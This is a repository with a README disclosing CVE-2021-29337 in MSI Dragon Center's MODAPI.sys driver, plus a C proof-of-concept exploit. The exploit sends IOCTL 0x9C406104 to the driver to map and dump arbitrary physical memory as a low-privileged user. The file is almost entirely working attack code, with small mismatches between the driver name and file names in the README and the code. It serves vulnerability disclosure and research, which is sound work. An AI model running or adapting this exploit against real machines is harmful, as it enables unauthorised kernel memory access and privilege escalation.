├── README.md └── modapi_poc.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center) 2 | 3 | ## General 4 | 5 | - Affected Product: MSI Dragon Center 6 | - Affected Version: 2.0.104.0 7 | - [CVE MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29337) 8 | 9 | ## Description 10 | A vulnerable kernel driver MODAPI.sys in dragon center exposes IOCTL 0x9C406104 which allows low-privileged users to interact directly with physical memory by calling one of several driver routines (MmMapIoSpace) that map physical memory into the virtual address space. 11 | 12 | Sending valid input and output buffers via DeviceIoControl allows arbitrary manipulation of the kernel memory in the latest Windows 10 depicting user-mode data being passed to the MmMapIoSpace routine. This vulnerability could possibly allow local privilege escalation to NT AUTHORITY\SYSTEM. 13 | 14 | ## Inspiration from Legends 15 | - [@DownWithup](https://twitter.com/DownWithUpSec) 16 | - [@h0mbre](https://twitter.com/h0mbre_) 17 | -------------------------------------------------------------------------------- /modapi_poc.c: -------------------------------------------------------------------------------- 1 | 2 | // gcc modapi_mmap.c -o poc.exe 3 | // run poc.exe after installing Dragon Center application 4 | 5 | 6 | #include 7 | #include 8 | typedef unsigned long long QWORD; // DWORD64 9 | 10 | DWORD pPhysicalMemAddr = 0xE0000; // Physical memmory address to read from, change accordingly (0x8FFFFFFF is max) 11 | /* 12 | Size of data to read (in chunks), in bytes (1, 2, 4) 13 | 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD) 14 | */ 15 | DWORD dwDataSizeToRead = 0x4; // DWORD (4 bytes) chunks 16 | DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read 17 | 18 | int main(int argc, char* argv[]) { 19 | HANDLE hDriver = CreateFileW(L"\\\\.\\WinRing0_1_2_0", GENERIC_READ | GENERIC_WRITE, 0, 20 | NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver 21 | 22 | if (hDriver != INVALID_HANDLE_VALUE) { 23 | printf("[i] Found driver\n"); 24 | LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 25 | LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 26 | if (lpInMemoryArea == NULL || lpOutMemoryArea == NULL) { // Need valid workspaces 27 | printf("[!!!] Unable to allocate memory\n"); 28 | ExitProcess(-1); 29 | } 30 | printf("[i] Allocated memory\n"); 31 | // Prepare the memory area 32 | memmove(lpInMemoryArea, &pPhysicalMemAddr, sizeof(DWORD)); 33 | memmove((BYTE*)lpInMemoryArea + 0x8, &dwDataSizeToRead, sizeof(DWORD)); 34 | memmove((BYTE*)lpInMemoryArea + 0xC, &dwAmountOfDataToRead, sizeof(DWORD)); 35 | DWORD dwBytesOut = 0; 36 | DWORD dwIoctl = 0x9C406104; // MmMapIoSpace IOCTL 37 | printf("[i] Sending IOCTL 0x%X\n", dwIoctl); 38 | /* 39 | nlnInBufferSize is in Bytes (MUST be 0x10) 40 | nOutBufferSize must be GREATER than chunk size (dwDataSizeToRead) * dwAmountOfDataToRead 41 | */ 42 | DWORD dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x10, lpOutMemoryArea, 0x40, &dwBytesOut, NULL); 43 | printf("[i] Dumping %d bytes of data from 0x%I64X: \n", dwDataSizeToRead * dwAmountOfDataToRead, pPhysicalMemAddr); 44 | // Below is just a fancy way of displaying output 45 | for (int nSize = 0; nSize <= 0x32; nSize += 0x10) { 46 | for (int i = 0; i <= 0xF; i++) { 47 | printf("%02X ", *((BYTE*)lpOutMemoryArea + i + nSize)); 48 | } 49 | printf(" "); 50 | for (int i = 0; i <= 0xF; i++) { 51 | CHAR cChar = *((BYTE*)lpOutMemoryArea + i + nSize); 52 | if (cChar >= 0x20 && cChar <= 0x7E) { 53 | printf("%c", *((BYTE*)lpOutMemoryArea + i + nSize)); 54 | } 55 | else { 56 | printf("."); 57 | } 58 | } 59 | printf("\n"); 60 | } 61 | } 62 | else { 63 | printf("[!!!] Unable to find driver\n"); 64 | ExitProcess(-1); 65 | } 66 | VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE); 67 | VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE); 68 | ExitProcess(0); 69 | } 70 | --------------------------------------------------------------------------------